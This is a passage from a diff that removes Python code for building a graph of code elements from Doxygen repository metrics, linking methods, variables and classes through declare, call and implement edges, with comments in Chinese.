label=EdgeLabel.DECLARE) - # 如果是方法,要找声明和调用,声明在类的时候会完成,调用要找主动和被动 - met = metric.get_method_by_id(ref_id) - for ref_by_id in met.referenced_by: - v_id = graph.get_vertex_id_by_ref_id(ref_by_id) - if v_id != -1: - # 注意是被调用关系 - graph.add_edge( - start=v_id, - end=origin_id, - label=EdgeLabel.CALL - ) - for ref_id in met.references: - v_element = metric.get_element_by_id(ref_id) - if v_element is not None: - # 不要 field - if not v_element.kind == 'variable': - v_id = graph.get_vertex_id_by_ref_id(ref_id) - if v_id != -1: - # 注意是调用关系 - graph.add_edge( - start=origin_id, - end=v_id, - label=EdgeLabel.CALL - ) - # 方法还需要找实现关系 - for ref_by_id in met.reimplemented_by: - v_id = graph.get_vertex_id_by_ref_id(ref_by_id) - if v_id != -1: - # 注意是被实现关系 - graph.add_edge( - start=v_id, - end=origin_id, - label=EdgeLabel.IMPLEMENT - ) - for ref_by_id in met.reimplements: - v_id = graph.get_vertex_id_by_ref_id(ref_by_id) - if v_id != -1: - # 注意是实现关系 - graph.add_edge( - start=origin_id, - end=v_id, - label=EdgeLabel.IMPLEMENT - ) - elif kind in variable_like_kind: - # 被声明,由于该API在后续扩展图时要用到,所以声明需要加上 - v_ref_id = ref_id[:ref_id.rfind('_')] - v_id = graph.get_vertex_id_by_ref_id(v_ref_id) - # 如果该类不存在,则加入,并更新节点id - if v_id != -1: - graph.add_edge(start=v_id, end=origin_id, label=EdgeLabel.DECLARE) - # 如果是字段,需要找声明和调用,声明在类的时候会完成,只需要找被调用即可 - # fie = metric.get_field_by_id(ref_id) - # for ref_by_id in fie.referenced_by: - # v_id = graph.get_vertex_id_by_ref_id(ref_by_id) - # if v_id != -1: - # # 注意是被调用关系 - # graph.add_edge( - # start=v_id, - # end=origin_id, - # label=EdgeLabel.CALL - # ) - - -def solve_repo_relation(metric: RepoMetrics, dict_elements: list[dict[str, str]]): - """ - 解析单个repo的关系,返回一个图结果,包含节点集合,和边集合 - - :param metric: doxygen矩阵 - :param dict_elements: 标准化的code elements - :return: 关系图 - """ - graph = Graph() - # 添加所有节点 - for ele in dict_elements: - graph.add_vertex( - ref_id=ele.get('ref_id'), - kind=ele.get('kind'), - label=ele.get('name') - ) - for vertex in graph.vertices: - complete_edge_of_vertex(graph, metric, vertex) - return graph - - -def solve(all_repo_metrics: list[RepoMetrics], standard_elements: list[list[str]]): - """ - 根据repo矩阵,以及标准的element name,解析图关系 - - :param all_repo_metrics: doxygen解析的repo metrics - :param standard_elements: 标准形式的elements - :return: 图集合(也就是代码上下文)和element valid状态集合 - """ - dict_elements, valid_list = transfer_elements(all_repo_metrics, standard_elements) - # print(dict_elements, valid_list) - graph_list: list[Graph] = [] - for repo in dict_elements.keys(): - for me in all_repo_metrics: - if me.repo_name == repo: - graph = solve_repo_relation(me, dict_elements.get(repo)) - graph.set_repo_name(me.repo_name) # add set repo_name - graph.set_repo_path(me.repo_location) # add set repo_location - graph_list.append(graph) - # graph.print() - break - return graph_list, valid_list